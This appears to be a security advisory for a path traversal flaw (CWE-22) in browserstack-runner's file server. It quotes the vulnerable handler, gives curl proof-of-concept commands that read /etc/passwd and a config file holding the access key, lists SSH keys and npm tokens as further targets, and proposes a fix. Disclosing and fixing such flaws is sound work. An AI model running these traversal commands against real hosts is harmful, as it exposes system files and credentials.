The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note:
--path-as-isis required because curl normalizes../sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.
/etc/hostname → server returns the machine hostname/etc/passwd → server returns the full passwd filebrowserstack.json → server returns the config including the BrowserStack access keybrowserstack.json is always in the project root (same directory the server serves from), and contains username and key in cleartext/etc/passwd, /etc/shadow (if readable), SSH keys, .env files, .npmrc (npm tokens), etc.var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
sendError(response, 'Forbidden', 403);
return;
}
127.0.0.1_default handler{
"cwe_ids": [
"CWE-22"
],
"severity": "HIGH",
"github_reviewed_at": "2026-06-03T21:38:40Z",
"github_reviewed": true,
"nvd_published_at": "2026-06-02T21:16:28Z"
}